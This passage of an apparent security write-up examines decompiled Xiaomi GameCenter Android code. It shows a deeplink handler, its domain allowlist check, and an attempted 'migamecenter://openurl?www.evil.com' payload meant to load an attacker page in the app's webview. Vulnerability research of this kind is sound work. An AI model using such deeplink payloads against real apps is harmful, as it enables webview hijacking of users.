&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;10&lt;/span&gt;                } else if (TextUtils.equals(host, ga)) {
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;11&lt;/span&gt;                    this.qa = false;
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;12&lt;/span&gt;                    this.Y = data.toString().substring(26);
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;13&lt;/span&gt;                } else {
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;14&lt;/span&gt;                    this.Y = data.toString();
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;15&lt;/span&gt;                }
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;16&lt;/span&gt;            } else if (Va.b(data, fa)) {
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;17&lt;/span&gt;                String uri = data.toString();
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;18&lt;/span&gt;                this.Y = uri.substring((scheme + &quot;://&quot;).length() + 15 + 12);
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;19&lt;/span&gt;            } else {
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;20&lt;/span&gt;                this.Y = data.toString();
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;21&lt;/span&gt;            }
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;22&lt;/span&gt;        }
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;23&lt;/span&gt;        Logger.b(&quot;KnightsWebKitActivity&quot;, &quot;openurl=&quot; + this.Y);
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;24&lt;/span&gt;        Uri uri2 = null;
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;25&lt;/span&gt;        if (!TextUtils.isEmpty(this.Y)) {
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;26&lt;/span&gt;            uri2 = Uri.parse(this.Y);
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;27&lt;/span&gt;        }
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;28&lt;/span&gt;        if (!G(this.Y)) { //VALIDATION OF URL HAPPENING HERE
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;29&lt;/span&gt;            Log.e(&quot;knightsweb&quot;, &quot;DENY ACCESS!!! Unsupported url.&quot;);
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;30&lt;/span&gt;            return false;
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;31&lt;/span&gt;        }
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;32&lt;/span&gt;       **&amp;lt; --redacted--&amp;gt;**
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;33&lt;/span&gt;            }
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;34&lt;/span&gt;            a(uri2, intent);
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;35&lt;/span&gt;        }
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;36&lt;/span&gt;        return true;
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;37&lt;/span&gt;    }
&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;vertical-spacing interactive_markdown__p&quot; style=&quot;border: 0px; box-sizing: border-box; caret-color: rgb(62, 62, 62); font-stretch: inherit; line-height: inherit; margin: 0px 0px 16px; padding: 0px; vertical-align: baseline; white-space: pre-line;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: medium;&quot;&gt;At this point, we can try simply loading &lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;migamecenter://openurl?www.evil.com&lt;/span&gt; and hope that the following line inside the &lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;onCreate()&lt;/span&gt; function will simply load www.evil.com in our webview:&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;interactive-markdown__code&quot; style=&quot;background-color: #f8f8f8; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgb(229, 229, 229); box-sizing: border-box; font-stretch: inherit; line-height: inherit; margin: 0px 0px 15px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;div class=&quot;interactive-markdown__code__menu&quot; style=&quot;border-bottom-color: rgb(229, 229, 229); border-bottom-style: solid; border-width: 0px 0px 1px; box-sizing: border-box; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; padding: 2px 4px; vertical-align: baseline;&quot;&gt;&lt;span face=&quot;Effra, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif&quot; style=&quot;caret-color: rgb(51, 51, 51); color: #333333; font-size: 13px; font-weight: 600;&quot;&gt;Code&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;interactive-markdown__code__content interactive-markdown__code__content__scroll&quot; style=&quot;-webkit-user-select: text; border: 0px; box-sizing: border-box; color: #333333; font-family: Consolas, &amp;quot;Liberation Mono&amp;quot;, Courier, monospace; font-size: 13px; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; overflow-wrap: break-word; overflow-x: auto; padding: 0px 4px; vertical-align: baseline; white-space: pre;&quot;&gt;&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;border: 0px; box-sizing: border-box; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;this.ka = new KnightsWebView(this, this, this.na, this.Y);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;vertical-spacing interactive_markdown__p&quot; style=&quot;border: 0px; box-sizing: border-box; caret-color: rgb(62, 62, 62); font-stretch: inherit; line-height: inherit; margin: 0px 0px 16px; padding: 0px; vertical-align: baseline; white-space: pre-line;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: medium;&quot;&gt;We observe that this fails. Digging deeper, the above function &lt;code style=&quot;-webkit-box-shadow: rgb(229, 229, 229) 0px 0px 0px 1px inset; background-color: #f8f8f8; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: none; box-shadow: rgb(229, 229, 229) 0px 0px 0px 1px inset; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; overflow-x: auto; padding: 0px; vertical-align: baseline;&quot;&gt;c&lt;/code&gt; calls &lt;code style=&quot;-webkit-box-shadow: rgb(229, 229, 229) 0px 0px 0px 1px inset; background-color: #f8f8f8; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: none; box-shadow: rgb(229, 229, 229) 0px 0px 0px 1px inset; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; overflow-x: auto; padding: 0px; vertical-align: baseline;&quot;&gt;if (!G(this.Y))&lt;/code&gt; which validates that the URL is owned by Xiaomi or related companies. The following function is in &lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;com.xiaomi.gamecenter.ui.webkit.Z&lt;/span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;interactive-markdown__code&quot; style=&quot;background-color: #f8f8f8; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgb(229, 229, 229); box-sizing: border-box; font-stretch: inherit; line-height: inherit; margin: 0px 0px 15px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;div class=&quot;interactive-markdown__code__menu&quot; style=&quot;border-bottom-color: rgb(229, 229, 229); border-bottom-style: solid; border-width: 0px 0px 1px; box-sizing: border-box; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; padding: 2px 4px; vertical-align: baseline;&quot;&gt;&lt;span face=&quot;Effra, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif&quot; style=&quot;caret-color: rgb(51, 51, 51); color: #333333; font-size: 13px; font-weight: 600;&quot;&gt;Code&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;interactive-markdown__code__content interactive-markdown__code__content__scroll&quot; style=&quot;-webkit-user-select: text; border: 0px; box-sizing: border-box; color: #333333; font-family: Consolas, &amp;quot;Liberation Mono&amp;quot;, Courier, monospace; font-size: 13px; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; overflow-wrap: break-word; overflow-x: auto; padding: 0px 4px; vertical-align: baseline; white-space: pre;&quot;&gt;&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;border: 0px; box-sizing: border-box; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;public boolean b(String str) {
&lt;/span&gt;&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;2&lt;/span&gt;        if (h.f11484a) {
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;3&lt;/span&gt;            h.a(133205, new Object[]{str});
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;4&lt;/span&gt;        }
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;5&lt;/span&gt;        if (TextUtils.isEmpty(str)) {
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;6&lt;/span&gt;            return false;
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;7&lt;/span&gt;        }
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;8&lt;/span&gt;        String trim = str.trim();
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;9&lt;/span&gt;        if (TextUtils.isEmpty(trim)) {
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;10&lt;/span&gt;            return false;
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;11&lt;/span&gt;        }
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;12&lt;/span&gt;        if (d(trim)) {
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;13&lt;/span&gt;            return true;
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;14&lt;/span&gt;        }
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;15&lt;/span&gt;        try {
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;16&lt;/span&gt;            Uri parse = Uri.parse(trim);
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;17&lt;/span&gt;            String host = parse.getHost();
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;18&lt;/span&gt;            if (TextUtils.isEmpty(host)) {
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;19&lt;/span&gt;                return false;
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;20&lt;/span&gt;            }
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;21&lt;/span&gt;            Logger.b(&quot;webkit host=&quot; + host);
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;22&lt;/span&gt;            if (host.endsWith(&quot;.mi.com&quot;) || host.endsWith(&quot;.xiaomi.com&quot;) || host.endsWith(&quot;.wali.com&quot;) || host.endsWith(&quot;.xiaomi.net&quot;) || host.endsWith(&quot;.duokan.com&quot;) || host.endsWith(&quot;.miui.com&quot;) || host.endsWith(&quot;.mipay.com&quot;) || host.endsWith(&quot;.duokanbox.com&quot;) || TextUtils.equals(host, &quot;mi.com&quot;) || TextUtils.equals(host, &quot;xiaomi.com&quot;) || host.endsWith(&quot;.gov.cn&quot;) || host.endsWith(&quot;jq.qq.com&quot;)) {
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;23&lt;/span&gt;                return Va.b(parse.getScheme());
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;24&lt;/span&gt;            }
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;25&lt;/span&gt;            return false;
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;26&lt;/span&gt;        } catch (Throwable th) {
